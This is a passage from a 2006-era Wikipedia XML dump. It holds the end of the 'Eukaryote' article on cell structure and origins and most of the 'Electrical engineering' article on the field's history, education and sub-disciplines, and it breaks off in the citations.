A '''eukaryote''' ({{IPA2|juːˌkarɪəʊt}}), also spelled '''eucaryote''', is an [[organism]] with a complex cell or [[Cell (biology)|cell]]s, in which the [[genetic material]] is organized into [[membrane]]-bound [[Cell nucleus|nucleus]]/[[Cell nucleus|nuclei]]. Eukaryotes comprise [[animal]]s, [[plant]]s, and [[Fungus|fungi]]&amp;mdash;which are mostly [[multicellular]]&amp;mdash;as well as various other groups that are collectively classified as [[protist]]s (many of which are [[unicellular]]). In contrast, other organisms, such as [[bacteria]], lack nuclei and other complex cell structures; such organisms are called [[prokaryote]]s.  The eukaryotes share a common origin, and are often treated formally as a [[Domain (biology)|superkingdom]], [[Domain (biology)|empire]], or [[Three-domain system|domain]]. The name comes from the [[Greek language|Greek]] ''eu'' (meaning ''good'') and ''karyon'' (meaning ''nut'', referring to the [[cell nucleus]]).

==Structure==
Eukaryotic cells are generally much larger than prokaryotes, typically a thousand times by volume. They have a variety of internal membranes and structures, called [[organelle]]s, and a [[cytoskeleton]] composed of [[microtubule]]s and [[microfilament]]s, which play an important role in defining the cell's organization. Eukaryotic DNA is divided into several bundles called [[chromosome]]s, which are separated by a microtubular spindle during nuclear division.  In addition to asexual cell division, most eukaryotes have some process of [[sexual reproduction]] via cell fusion, which is not found among prokaryotes.

[[Image:Biological cell.png|thumb|A typical animal cell]]
===Internal membranes===
Eukaryotic cells include a variety of membrane-bound structures, collectively referred to as the [[endomembrane system]].  Simple compartments, called [[vesicle (biology)|vesicle]]s or [[vacuole]]s, can form by budding off other membranes.  Many cells ingest food and other materials through a process of [[endocytosis]], where the outer membrane invaginates and then pinches off to form a vesicle. It is probable that most other membrane-bound organelles are ultimately derived from such vesicles.

The nucleus is surrounded by a double membrane, with pores that allow material to move in and out.  Various tube- and sheet-like extensions of the nuclear membrane form what is called the [[endoplasmic reticulum]] or ER, which is involved in protein transport.  It includes the Rough ER where [[ribosome]]s are attached, and the proteins they synthesize enter the interior space or lumen.  Subsequently, they generally enter vesicles, which bud off from the Smooth ER.  In most eukaryotes, the proteins may be further modified in stacks of flattened vesicles, called [[Golgi apparatus|Golgi bodies]] or dictyosomes.

Vesicles may be specialized for various purposes.  For instance, [[lysosome]]s contain enzymes that break down the contents of food vacuoles, and [[peroxisome]]s are used to break down [[peroxide]] which is toxic otherwise.  Many protozoa have contractile vacuoles, which collect and expel excess water, and [[extrusome]]s, which expel material used to deflect predators or capture prey.  In multicellular organisms, [[hormone]]s are often produced in vesicles.  In higher plants, most of a cell's volume is taken up by a central vacuole or tonoplast, which maintains its osmotic pressure.

===Mitochondria and plastids===
[[Mitochondrion|Mitochondria]] are organelles found in nearly all eukaryotes.  They are surrounded by double membranes, the inner of which is folded into invaginations called cristae, where [[aerobic respiration]] takes place.  They contain their own DNA and are only formed by the fission of other mitochondria.  They are now generally held to have developed from [[endosymbiosis|endosymbiotic]] prokaryotes, probably [[proteobacteria]].  The few protozoa that lack mitochondria have been found to contain mitochondrion-derived organelles, such as [[hydrogenosome]]s and [[mitosome]]s.

Plants and various groups of [[alga]]e also have [[plastid]]s. Again, these have their own DNA and developed from endosymbiotes, in this case [[cyanobacteria]].  They usually take the form of [[chloroplast]]s, which like cyanobacteria contain [[chlorophyll]] and produce energy through [[photosynthesis]].  Others are involved in storing food.  Although plastids likely had a single origin, not all plastid-containing groups are closely related.  Instead, some eukaryotes have obtained them from others through secondary endosymbiosis or ingestion.

Endosymbiotic origins have also been proposed for the nucleus and eukaryotic [[flagellum|flagella]], but this is not generally accepted, both from a lack of cytological evidence and difficulty in reconciling this with cellular reproduction.

===Cytoskeletal structures===
Many eukaryotes have slender motile projections, usually called [[flagellum|flagella]] when long and [[cilium|cilia]] when short, that are variously involved in movement, feeding, and sensation.  These are entirely distinct from prokaryotic flagella.  They are supported by a bundle of microtubules arising from a basal body, also called a kinetosome or centriole, characteristically arranged as nine doublets surrounding two singlets.  Flagella also may have hairs or mastigonemes, scales, connecting membranes and internal rods.  Their interior is continuous with the cell's cytoplasm.

Centrioles are often present even in cells and groups that do not have flagella.  They generally occur in groups of one or two, called kinetids, that give rise to various microtubular roots.  These form a primary component of the cytoskeletal structure, and are often assembled over the course of several cell divisions, with one flagellum retained from the parent and the other derived from it.  Centrioles may also be associated in the formation of a spindle during nuclear division.

Some protists have various other microtubule-supported organelles.  These include the [[radiolaria]] and [[heliozoa]], which produce axopodia used in flotation or to capture prey, and the [[haptophyte]]s, which have a peculiar flagellum-like organelle called the haptonema.

==Reproduction ==
Nuclear division is often coordinated with [[cell division]].  This generally takes place by [[mitosis]], a process which allows each daughter nucleus to receive one copy of each chromosome. In most eukaryotes there is also a process of sexual reproduction, typically involving an alternation between [[haploid]] generations, where only one copy of each chromosome is present, and [[diploid]] generations, where two are present, occurring through nuclear fusion (syngamy) and [[meiosis]]. There is considerable variation in this pattern, however.

Eukaryotes have a smaller surface to volume area ratio than prokaryotes, and thus have lower metabolic rates and longer generation times.  In some multicellular organisms, cells specialized for metabolism will have enlarged surface areas, such as intestinal vili.

==Origin and evolution==
The origin of the eukaryotic cell was a milestone in the evolution of life, since they include all complex cells and multi-cellular organisms.  The timing of this series of events is hard to determine; Knoll (1992) suggests they developed approximately 1.6 - 2.1 billion years ago.  Fossils that are clearly related to modern groups start appearing around 800 million years ago.

[[rRNA]] trees constructed during the 1980s and 1990s left most eukaryotes in an unresolved &quot;crown&quot; group (not technically a true [[crown group|crown]]), which was usually divided by the form of the mitochondrial cristae.  The few groups that lack mitochondria branched separately and so the absence was believed to be primitive, but this is now considered an artifact of [[long branch attraction]] and they are known to have lost them secondarily.

Trees based on [[actin]] and other genes have painted a different and more complete picture.  Most eukaryotes are now included in several supergroups:

{| width=&quot;100%&quot; cellspacing=0
| [[Opisthokont]]s || [[Animal]]s, [[fungus|fungi]], [[choanoflagellate]]s, etc.
|-
| [[Amoebozoa]] || Most lobose [[amoeba]]e and [[slime mould]]s
|-
| [[Rhizaria]] || Various [[amoeboid]] protozoa
|-
| [[Excavate]]s || Various [[flagellate]] protozoa
|-
| [[Archaeplastida]] || [[Embryophyte|Land plant]]s, [[green alga|green]] and [[red alga]]e
|-
| [[Heterokont]]s || [[Brown alga]]e, [[diatom]]s, [[water mold]]s, etc.
|-
| [[Alveolate]]s || [[Ciliate]]s, [[Apicomplexa]], [[dinoflagellate]]s, etc.
|}

The heterokonts and alveolates may be part of a larger group that is ancestrally photosynthetic, called the [[chromalveolate]]s, but this remains contentious.  Otherwise the relationships between the different supergroups are mostly uncertain, and in particular there is dispute about where the root of the evolutionary tree belongs, and as a result what the earliest eukaryotes were like.  A few small protist groups have not been related to any of the major supergroups, notably the [[centrohelid]]s, [[apusozoa]]ns, and [[ebriid]]s.

Eukaryotes are closely related to [[archaea]], at least in terms of nuclear DNA and genetic machinery.  In other respects, such as membrane composition, they are similar to [[Bacteria|eubacteria]].  Three main explanations for this have been proposed:

* Eukaryotes resulted from the complete fusion of two or more cells, the cytoplasm forming from a eubacterium and the nucleus from an archaeon ([[Viral Eukaryogenesis|alternatively]] a virus).
* Eukaryotes developed from Archaea, and acquired their eubacterial characteristics from the proto-mitochondrion.
* Eukaryotes and Archaea developed separately from a modified eubacterium.

The origin of the endomembrane system and mitochondria are also disputed.  The '''phagotrophic hypothesis''' states the membranes originated with the development of endocytosis and later specialized; mitochondria were acquired by ingestion, like plastids.  The '''syntrophic hypothesis''' states that the proto-eukaryote relied on the proto-mitochondrion for food, and so ultimately grew to surround it; the membranes originate later, in part thanks to mitochondrial genes (the [[hydrogen hypothesis]] is one particular version).

==References==
* {{cite journal
 | author=Knoll AH
 | title=The early evolution of eu-karyotes: A geological perspective
 | journal=Science
 | year=1992 | volume=256 | pages=622–27
 }}
* {{cite journal
 | author=T. Cavalier-Smith
 | title=The phagotrophic origin of eukaryotes and phylogenetic classification of Protozoa
 | journal=International Journal of Systematic and Evolutionary Microbiology
 | year=2002 | volume=52 | pages=297-354
 }}
* {{cite journal
 | author=W. Martin &amp; M.J. Russell
 | title=On the origins of cells: a hypothesis for the evolutionary transitions from abiotic geochemistry to chemoautotrophic prokaryotes, and from prokaryotes to nucleated cells
 | journal=Philosophical Transactions of the Royal Society B
 | year=1992
 }}
* {{cite journal
 | author=S. L. Baldauf
 | title=The Deep Roots of Eukaryotes
 | journal=[[Science (journal)|Science]]
 | year=2003 | volume=300 | pages=1703–1706 | url=http://www.sciencemag.org/cgi/content/abstract/300/5626/1703
 }}
* {{cite journal
 | author=Sina M. Adl ''et al''
 | title=The New Higher Level Classification of Eukaryotes with Emphasis on the Taxonomy of Protists
 | journal=Journal of Eukaryotic Microbiology
 | year=2005 | volume=52 | issue=5 | pages=399
 | url=http://www.blackwell-synergy.com/doi/abs/10.1111/j.1550-7408.2005.00053.x
 | id= {{doi|10.1111/j.1550-7408.2005.00053.x}}
 }}

{{NCBI-scienceprimer}}
[[Category:Eukaryotes]]
[[ast:Eukaryota]]
[[bg:Еукариоти]]
[[ca:Eukarya]]
[[cs:Eukaryota]]
[[cy:Ewcaryot]]
[[da:Eucaryota]]
[[de:Eukaryoten]]
[[eo:Eŭkariotoj]]
[[es:Eukarya]]
[[et:Eukarüoot]]
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[[he:אוקריוטיים]]
[[id:Eukaryota]]
[[it:Eukaryota]]
[[ja:真核生物]]
[[ko:진핵생물]]
[[la:Eucaryota]]
[[lb:Eukaryoten]]
[[lt:Eukariotas]]
[[lv:Eikariots]]
[[nds:Eukaryota]]
[[nl:Eukaryoten]]
[[no:Eukaryoter]]
[[oc:Eukarya]]
[[pl:Jądrowce]]
[[pt:Eukaryota]]
[[ru:Эукариоты]]
[[sl:Evkariont]]
[[sr:Еукариоте]]
[[su:Eukariot]]
[[sv:Eukaryoter]]
[[th:ยูแคริโอต]]
[[vi:Eukaryote]]
[[uk:Імперія Ядерні]]
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[[zh:真核生物]]</text>
    </revision>
  </page>
  <page>
    <title>Electrical engineering</title>
    <id>9531</id>
    <revision>
      <id>42039900</id>
      <timestamp>2006-03-03T11:16:41Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{featured article}}
{{merge|electrical and electronics engineering}}
[[Image: PoleMountTransformer02.jpg|right|thumb|200px|Electrical engineers  design  power systems...]]
[[Image:HitachiJ100A.jpg|right|thumb|200px|... and complex electronic circuits.]]
'''Electrical engineering''' (sometimes referred to as '''electrical and electronics engineering''') is a professional [[engineering]] discipline that deals with the study and application of [[electricity]], [[electromagnetism]] and [[electronics]]. The field first became an identifiable occupation in the late nineteenth century with the commercialization of the electric [[telegraph]] and  electrical power supply and now encompasses a range of sub-disciplines including [[power]], [[control systems]], [[electronics]] and [[telecommunications]]. 

Whilst the terms are often used synonymously, electrical engineering is sometimes distinguished from [[electronics engineering]]. Where this distinction is made, electrical engineering is considered to deal with the problems associated with large-scale electrical systems such as [[power transmission]] and [[motor control]] whereas electronics engineering deals with the study of small-scale electronic systems including [[semiconductors]] and the design of [[integrated circuits]].{{ref|ieeefaq}} For the purposes of this article, electronics engineering is considered to be a sub-discipline of electrical engineering (see &lt;span id=&quot;usage_back&quot;&gt;[[#usage|note]]&lt;/span&gt;).

After the discovery of electricity in the 17th century, scientists began studying its potential applications, and by the 19th century, innovators like [[Nikola Tesla]] and [[Thomas Edison]] began using electricity for [[motor]]s and [[telegraphy]].  Advances in [[radio]] technologies soon followed, and by the middle of the 20th century, early [[computer]]s and integrated circuits had been invented. Meanwhile, universities were developing formal programs of study, and today, the field's practitioners, called '''electrical engineers''' (or sometimes electronics engineers), generally hold an [[academic degree]] in their discipline and may be certified by a professional body. Examples of the projects modern electrical engineers may work on include the design of [[telecommunication|telecommunication systems]], the operation of [[power station|electric power station]]s and the design of [[appliance|electronic household appliances]].

== History ==
=== Early developments in electricity ===
[[Electricity]] has been a subject of scientific interest since at least the 17th century, but it was not until the 19th century that research into the subject started to intensify. Notable developments in this century include the work of [[Georg Ohm]], who in 1827 quantified the relationship between the [[electric current]] and [[potential difference]] in a conductor, [[Michael Faraday]], the discoverer of [[electromagnetic induction]] in [[1831]], and [[James Clerk Maxwell]], who in 1873 published a unified [[Maxwell's equations|theory]] of electricity and [[magnetism]] in his treatise on ''Electricity and Magnetism''.{{ref|1911BritA}}

[[Image:Thomas Edison, 1878.jpg|thumb|right|140px|[[Thomas Edison]] built the world's first large-scale electrical supply network]]
During these years the study of electricity was largely considered to be a subfield of [[physics]].  It was not until the late 19th century that [[university|universities]] started to offer [[academic degree|degrees]] in electrical engineering. In 1883 [[Cornell University]] introduced the world's first course of study in electrical engineering and in 1885 the [[University College London]] founded the first chair of electrical engineering in the [[United Kingdom]].{{ref|cornell}} The [[University of Missouri]] subsequently established the first department of electrical engineering in the United States in 1886.{{ref|ryder}}

During this period work in the area increased dramatically. In 1882 [[Thomas Edison|Edison]] switched on the world's first large-scale electrical supply network that provided 110 volts [[direct current]] to fifty-nine customers in lower Manhattan. In 1887 [[Nikola Tesla]] filed a number of patents related to a competing form of power distribution known as [[alternating current]]. In the following years a bitter rivalry between Tesla and Edison, known as the &quot;[[War of Currents]]&quot;, took place over the preferred method of distribution.

The efforts of the two did much to further electrical engineering&amp;mdash;Tesla's work on [[induction motor]]s and [[polyphase system]]s influenced the field for years to come, while Edison's work on telegraphy and his development of the [[stock ticker]] proved lucrative for his company, which ultimately became [[General Electric]].  However, by the end of the 19th century, other key figures in the progress of electrical engineering were beginning to emerge.{{ref|tesla-edison}}

===Emergence of radio and electronics ===
In 1888 [[Heinrich Hertz]] was the first scientist to transmit and detect radio waves using electrical equipment (the [[spark-gap transmitter]]), and in 1895 [[Alexander Popov (physicist)|Alexander Popov]] made the first wireless radio transmission across 60 m followed by [[Guglielmo Marconi]] who made a transmission across 2.4 km.  [[John Ambrose Fleming|John Fleming]] invented the first radio tube, the [[vacuum tube|diode]], in 1904. Two years later, [[Robert von Lieben]] and [[Lee De Forest]] independently developed the amplifier tube, called the [[vacuum tube|triode]].{{ref|radio}} [[Manfred von Ardenne]] then introduced the [[cathode ray tube]], a crucial enabling technology for [[television|electronic television]], in 1931.{{ref|television}}

In 1920 [[Albert Hull]] developed the [[magnetron]] which would eventually lead to the development of the [[microwave]] in 1946 by [[Percy Spencer]].{{ref|magnetron1}}{{ref|magnetron2}} In 1934 the British military begun to make strides towards [[radar]] under the direction of Dr Wimperis culminating in the operation of the first radar station at [[Bawdsey]] in August 1936.{{ref|radar}}

In 1941 [[Konrad Zuse]] presented the [[Z3]], the world's first fully functional and programmable computer.{{ref|z3}} In 1946 the [[ENIAC]] (Electronic Numerical Integrator and Computer) of [[John Presper Eckert]] and [[John Mauchly]] followed, beginning the computing era. The arithmetic performance of these machines allowed engineers to develop completely new technologies and achieve new objectives, including the [[Project Apollo|Apollo missions]] and the [[moon landing|NASA moon landing]].{{ref|ENIAC}}

The invention of the transistor in 1947 by [[William B. Shockley]], [[John Bardeen]] and [[Walter Brattain]] opened the door for more compact devices and led to the development of the [[integrated circuit]] in 1958 by [[Jack Kilby]] and independently in 1959 by [[Robert Noyce]].{{ref|transistor}} In 1968 [[Marcian Hoff]] invented the first [[microprocessor]] at [[Intel]] and thus ignited the development of the [[personal computer]]. The first realization of the microprocessor was the [[Intel 4004]], a 4-bit processor developed in 1971, but only in 1973 did the [[Intel 8080]], an 8-bit processor, make the building of the first personal computer, the [[Altair 8800]], possible.{{ref|hoff}}

== Education ==
Electrical engineers typically possess an [[academic degree]] with a major in electrical engineering. The length of study for such a degree is usually three or four years and the completed degree may be designated as a [[Bachelor of Engineering]], [[Bachelor of Science]] or [[Bachelor of Applied Science]] depending upon the university.  The degree generally includes units covering [[physics]], [[mathematics]], [[project management]] and [[list of electrical engineering topics|specific topics in electrical engineering]]. Initially such topics cover most, if not all, of the sub-disciplines of electrical engineering. Students then choose to specialize in one or more sub-disciplines towards the end of the degree.

Some electrical engineers also choose to pursue a postgraduate degree such as a [[Master of Engineering]]/[[Master of Science]], a [[Doctor of Philosophy]] in Engineering or an [[Engineer's degree]]. The Master and Engineer's degree may consist of either [[research]], [[coursework]] or a mixture of the two. The [[Doctor of Philosophy]] consists of a significant research component and is often viewed as the entry point to [[academia]]. In the United Kingdom and various other European countries, the [[Master of Engineering]] is often considered an undergraduate degree of slightly longer duration than the [[Bachelor of Engineering]].{{ref|education}}

== Practicing engineers ==
In most countries, a Bachelor's degree in engineering represents the first step towards [[professional certification]] and the degree program itself is certified by a [[professional body]]. After completing a certified degree program the engineer must satisfy a range of requirements (including work experience requirements) before being certified. Once certified the engineer is designated the title of  [[Professional Engineer]] (in the United States and Canada), [[Chartered Engineer]] (in the [[United Kingdom]], [[Ireland]], [[India]], [[South Africa]] and [[Zimbabwe]]), [[Chartered Professional Engineer]] (in [[Australia]]) or [[European Engineer]] (in much of the [[European Union]]).

The advantages of certification vary depending upon location. For example, in the United States and Canada &quot;only a licensed engineer may... seal engineering work for public and private clients&quot;.{{ref|nspe}} This requirement is enforced by state and provincial legislation such as [[Quebec|Quebec's]] Engineers Act.{{ref|qea}} In other countries, such as Australia, no such legislation exists. Practically all certifying bodies maintain a [[code of ethics]] that they expect all members to abide by or risk expulsion.{{ref|ethics}} In this way these organizations play an important role in maintaining ethical standards for the profession. Even in jurisdictions where certification has little or no legal bearing on work, engineers are subject to [[contract law]].  In cases where an engineer's work fails he or she may be subject to the [[negligence|tort of negligence]] and, in extreme cases, the charge of [[criminal negligence]].{{ref|shuman}} An engineer's work must also comply with numerous other rules and regulations such as [[building codes]] and legislation pertaining to [[environmental law]].

Professional bodies of note for electrical engineers include the [[Institute of Electrical and Electronics Engineers]] (IEEE) and the [[Institution of Electrical Engineers]] (IEE). The IEEE claims to produce 30 percent of the world's literature in electrical engineering, has over 360,000 members worldwide and holds over 300 conferences anually. {{ref|IEEE}} The IEE publishes 14 journals, has a worldwide membership of 120,000, certifies Chartered Engineers in the United Kingdom and claims to be the largest professional engineering society in Europe. {{ref|IEE1}} {{ref|IEE2}} Obsolescence of technical skills is a serious concern for electrical engineers. Membership and participation in technical societies, regular reviews of periodicals in the field and a habit of continued learning are therefore essential to maintaining proficiency. {{ref|DoL2}}

In countries such as [[Australia]], [[Canada]] and the [[United States]] electrical engineers make up around 0.25% of the labour force (see &lt;span id=&quot;demographics_back&quot;&gt;[[#demographics|note]]&lt;/span&gt;). Outside of these countries, it is difficult to gauge the demographics of the profession due to less meticulous reporting on labour statistics. However, in terms of electrical engineering graduates per-capita, electrical engineering graduates would probably be most numerous in countries such as [[Japan]] and [[South Korea]].{{ref|NSF-foreign}}

== Tools and work ==
From the [[global positioning system]] to [[electricity generation|electric power generation]], electrical engineers are responsible for a wide range of technologies. They design, develop, test and supervise the deployment of electrical systems and electronic devices. For example, they may work on the design of [[telecommunication|telecommunication systems]], the operation of [[power station|electric power station]]s, the [[lighting]] and [[electrical wiring|wiring]] of [[building]]s, the design of [[appliance|household appliances]] or the electrical [[control theory|control]] of industrial machinery.{{ref|DoL1}}
[[Image:Navy-Radome.jpg|thumb|left|260px|[[Radar]] is one of many projects an electrical engineer might work on]]

Fundamental to the discipline are the sciences of [[physics]] and [[mathematics]] as these help to obtain both a [[qualitative]] and [[quantitative]] description of how such systems will work. Today most [[engineering]] work involves the use of [[computers]] and it is commonplace to use [[computer-aided design]] programs when designing electrical systems. Nevertheless, the ability to sketch ideas is still invaluable for quickly communicating with others.

Although most electrical engineers will understand basic [[circuit theory]] (that is the interactions of elements such as [[resistors]], [[capacitors]], [[diodes]], [[transistors]] and [[inductors]] in a circuit), the theories employed by engineers generally depend upon the work they do. For example, [[quantum mechanics]] and [[solid state physics]] might be relevant to an engineer working on [[VLSI]] (the design of integrated circuits), but are largely irrelevant to engineers working with macroscopic electrical systems. Even [[circuit theory]] may not be relevant to a person designing telecommunication systems that use [[commercial off-the-shelf|off-the-shelf]] components. Perhaps the most important technical skills for electrical engineers are reflected in university programs, which emphasize [[numeracy|strong numerical skills]], [[computer literacy]] and the ability to understand the [[technical terminology|technical language and concepts]] that relate to electrical engineering.

For most engineers technical work accounts for only a fraction of the work they do. A lot of time is also spent on tasks such as discussing proposals with clients, preparing [[budget]]s and determining [[schedule (project management)|project schedules]].{{ref|trevelyan}} Many senior engineers manage a team of [[technician]]s or other engineers and for this reason [[project management]] skills are important. Most engineering projects involve some form of documentation and [[technical writing|strong written communication]] skills are therefore very important.

The [[workplace]]s of electrical engineers are just as varied as the types of work they do. Electrical engineers may be found in the pristine lab environment of a [[fabrication plant]], the offices of a [[consulting firm]] or on site at a [[mining|mine]]. During their working life, electrical engineers may find themselves supervising a wide range of individuals including [[scientist]]s, [[electrician]]s, [[computer programmers]] and other engineers.

== Sub-disciplines ==
Electrical engineering has many sub-disciplines, the most popular of which are listed below. Although there are electrical engineers who focus exclusively on one of these sub-disciplines, many deal with a combination of them. Sometimes certain fields, such as electronics engineering and computer engineering, are considered separate disciplines in their own right.

===Power===
''Main article [[Power engineering]]''
[[Image:Power pole.jpg|right|150 px]]
[[Power engineering]] deals with the [[electricity generation|generation]], [[electric power transmission|transmission]] and [[electricity distribution|distribution]] of [[electricity]] as well as the design of a range of related devices. These include [[transformer]]s, [[electric generator]]s, [[electric motor]]s and [[power electronics]]. In many regions of the world, governments maintain an electrical network called a [[power grid]] that connects a variety of generators together with users of their energy. Users purchase electrical energy from the grid, avoiding the costly exercise of having to generate their own. Power engineers may work on the design and maintenance of the power grid as well as the power systems that connect to it. Such systems are called ''on-grid'' power systems and may supply the grid with additional power, draw power from the grid or do both. Power engineers may also work on systems that do not connect to the grid, called ''off-grid'' power systems, which in some cases are preferable to on-grid systems.

===Control===
''Main article [[Control engineering]]''
[[Image:Shuttle.jpg|right|150 px]]
[[Control engineering]] focuses on the [[mathematical model|modelling]] of a diverse range of [[dynamic system|dynamic systems]] and the design of [[controller (control theory)|controllers]] that will cause these systems to behave in the desired manner. To implement such controllers electrical engineers may use [[electrical circuit|electrical circuits]], [[digital signal processing|digital signal processors]] and [[microcontroller|microcontrollers]]. [[Control engineering]] has a wide range of applications from the flight and propulsion systems of [[Airliner|commercial airliners]] to the [[cruise control]] present in many modern [[automobile|automobiles]]. It also plays an important role in [[industrial automation]].

Control engineers often utilize [[feedback]] when designing [[Control system|control systems]]. For example, in an [[automobile]] with [[cruise control]] the vehicle's [[speed]] is continuously monitored and fed back to the system which adjusts the [[motor|motor's]] [[speed]] accordingly. Where there is regular feedback, [[control theory]] can be used to determine how the system responds to such feedback.

===Electronics===
''Main article [[Electronics engineering]]''
[[Image:PExdcr01CJC.jpg|right|150 px]]
[[Electronics engineering]] involves the design and testing of [[electrical network|electronic circuits]] that use the properties of [[electrical element|components]] such as [[resistor]]s, [[capacitor]]s, [[inductor]]s, [[diode]]s and [[transistor]]s to achieve a particular functionality.  The [[tuned circuit]], which allows the user of a [[radio]] to [[filter]] out all but a single station, is just one example of such a circuit. Another example (of a pneumatic signal conditioner) is shown in the adjacent photograph.

Prior to the second world war, the subject was commonly known as ''radio engineering'' and basically was restricted to aspects of communications and [[radar]], [[radio|commercial radio]] and [[television|early television]]. Later, in post war years, as consumer devices began to be developed, the field grew to include modern television, audio systems, [[computer]]s and [[microprocessors]]. In the mid to late 1950s, the term ''radio engineering'' gradually gave way to the name ''electronics engineering''.

Before the invention of the [[integrated circuit]] in 1959, electronic circuits were constructed from discrete components that could be manipulated by humans. These discrete circuits consumed much space and [[electric power|power]] and were limited in speed although they are still common in some applications. By contrast, [[integrated circuit]]s packed a large number&amp;mdash;often millions&amp;mdash;of tiny electrical components, mainly [[transistor]]s, into a small chip around the size of a [[coin]]. This allowed for the powerful [[computer]]s and other electronic devices we see today.

===Microelectronics===
''Main article [[Microelectronics]]''
[[Image:SEM integrated circuit (400x).jpg|right|150 px]]
[[Microelectronics]] engineering deals with the design of very small electronic components for use in an [[Integrated circuit]] or sometimes for use on their own as a general electronic component. The most common microelectronic components are [[semiconductor]] [[transistors]], although all main electronic components ([[resistors]], [[capacitors]], [[inductors]]) can be created at a microscopic level. Most components are designed by determining processes to mix silicon with other [[atoms]] to create a desired [[electromagnetic]] effect. For this reason microelectronics involves a significant amount of [[quantum mechanics]] and [[chemistry]].

===Signal processing===
''Main article [[Signal processing]]''
[[Image:iPod 4G.jpg|right|150 px]]
[[Signal processing]] deals with the analysis and manipulation of [[signal (information theory)|signals]]. Signals can be either [[analog signal|analog]], in which case the signal varies continuously according to the information, or [[digital signal|digital]], in which case the signal varies according to a series of discrete values representing the information. For analog signals, signal processing may involve the [[amplifier|amplification]] and [[filtering]] of audio signals for audio equipment or the [[modulation]] and [[demodulation]] of signals for [[telecommunication]]s. For digital signals, signal processing may involve the [[compression]], [[error checking]] and [[error detection]] of digital signals.

===Telecommunications===
''Main article [[Telecommunications engineering]]''
[[Image:Milstar.jpg|right|150 px]]
[[Telecommunications|Telecommunications engineering]] focuses on the [[transmission (telecommunications)|transmission]] of [[information]] across a [[channel (communications)|channel]] such as a [[coax cable]], [[optical fiber|optical fibre]] or [[free space]]. Transmissions across free space require information to be encoded in a [[carrier wave]] in order to shift the information to a [[carrier frequency]] suitable for transmission, this is known as [[modulation]]. Popular analog modulation techniques include [[amplitude modulation]] and [[frequency modulation]]. The choice of modulation affects the cost and performance of a system and these two factors must be balanced carefully by the engineer.

Once the transmission characteristics of a system are determined, telecommunication engineers design the [[transmitter|transmitters]] and [[receiver (radio)|receivers]] needed for such systems. These two are sometimes combined to form a two-way communication device known as a [[transceiver]]. A key consideration in the design of transmitters is their [[power consumption]] as this is closely related to their [[signal strength]]. If the signal strength of a transmitter is insufficient the signal's information will be corrupted by [[signal noise|noise]].

===Instrumentation engineering===
''Main article [[Instrumentation engineering]]''
[[Image:radar gun.jpg|right|150 px]]
[[Instrumentation engineering]] deals with the design of devices to measure physical quantities such as [[pressure]], [[flow]] and [[temperature]]. The design of such instrumentation requires a good understanding of [[physics]] that often extends beyond [[electromagnetism|electromagnetic theory]]. For example, [[radar gun]]s use the [[Doppler effect]] to measure the speed of oncoming vehicles. Similarly, [[thermocouple]]s use the [[Peltier-Seebeck effect]] to measure the temperature difference between two points.

Often instrumentation is not used by itself, but instead as the [[sensor]]s of larger electrical systems. For example, a thermocouple might be used to help ensure a furnace's temperature remains constant. For this reason, instrumentation engineering is often viewed as the counterpart of control engineering.

===Computers===
''Main article [[Computer engineering]]''
[[Image:PDA.jpg|right|150 px]]
[[Computer engineering]] deals with the design of [[computer]]s and [[computer system]]s. This may involve the design of new [[hardware]], the design of [[personal digital assistant|PDAs]] or the use of computers to control an [[manufacturing|industrial plant]]. Computer engineers may also work on a system's [[software]]. However, the design of complex software systems is often the domain of [[software engineering]], which is usually considered a separate discipline. [[Desktop computer]]s represent a tiny fraction of the devices a computer engineer might work on, as computer-like architectures are now found in a range of devices including [[video game console]]s and [[DVD player]]s.

== Related disciplines ==
[[Mechatronics]] is an engineering discipline which deals with the convergence of electrical and [[machine|mechanical]] systems. Such combined systems are known as [[electromechanical]] systems and have widespread adoption. Examples include [[automation|automated manufacturing systems]], [[HVAC|heating, ventilation and air-conditioning systems]] and various subsystems of [[aircraft]]s and [[automobile]]s.

The term ''mechatronics'' is typically used to refer to [[macroscopic]] systems but [[futurism|futurists]] have predicted the emergence of very small electromechanical devices. Already such small devices, known as [[MEMS|micro electromechanical systems]] (MEMS), are used in automobiles to tell [[airbag]]s when to deploy, in [[digital projector]]s to create sharper images and in [[inkjet printer]]s to create [[nozzle]]s for high-definition printing. In the future it is hoped the devices will help build tiny implantable medical devices and improve [[optical communication]].{{ref|mems}}

[[Biomedical engineering]] is another related discipline, concerned with the design of [[medical equipment]]. This includes fixed equipment such as [[ventilator]]s, [[MRI|MRI scanners]] and [[electrocardiograph|electrocardiograph monitors]] as well as mobile equipment such as [[cochlear implant]]s, [[artificial pacemaker]]s and [[artificial heart]]s.

== See also ==
*[[Electronic design automation]]
*[[List of electrical engineering topics (alphabetical)|List of electrical engineering topics]]  (alphabetical)
*[[List of electrical engineering topics]]  (thematic)
*[[List of electrical engineers]]

== References ==
&lt;div style=&quot;font-size: 85%&quot;&gt;

'''Notes'''
:&lt;cite id=&quot;usage&quot;&gt;[[#usage back|Note I]]&lt;/cite&gt; - Whether or not electronics engineering is distinguished from electrical engineering must be interpreted from the context in which the term is used. Some have suggested that in places such as the United States the distinction is less common than in places such as the United Kingdom. However both usages can be found throughout the world. For example, the [[Institute of Electrical Engineers]] (which also includes electronics engineers) is a U.K. based organization but the [[Institute of Electrical and Electronics Engineers]] is a U.S. based organization. Conversely the [[Massachusetts Institute of Technology]] names its electrical and electronics engineering department as the &quot;Department of Computer Science and Electrical Engineering&quot; where as the [[University of Sheffield]] refers to its deparment as the &quot;Department of Electronic and Electrical Engineering&quot;.

:&lt;cite id=&quot;demographics&quot;&gt;[[#demographics back|Note II]]&lt;/cite&gt; - There are around 366,000 people working as electrical engineers in the [[United States]] constituting 0.25% of the labour force ([[as of 2002|2002]]).{{ref|DoL3}} In [[Australia]], there are around 24,000 constituting 0.23% of the labour force ([[as of 2005|2005]]) and in [[Canada]], there are around 34,600 constituting 0.21% of the labour force ([[as of 2001|2001]]). Australia and Canada also report that 96% and 89% of their electrical engineers respectively are male.{{ref|AJS}}{{ref|JobFutures.ca}}

'''Citations'''
# {{note|ieeefaq}} {{cite web
 | title = What is the difference between electrical and electronics engineering?
 | work = FAQs - Studying Electrical Engineering
 | url = http://www.ieee.org/organizations/eab/faqs1.htm
 | accessdate = February 4
 | accessyear = 2005
 }}
# {{note|1911BritA}} {{Citeencyclopedia
 | ency = The Encyclopedia Britannica
 | edition = 11
 | year = 1911
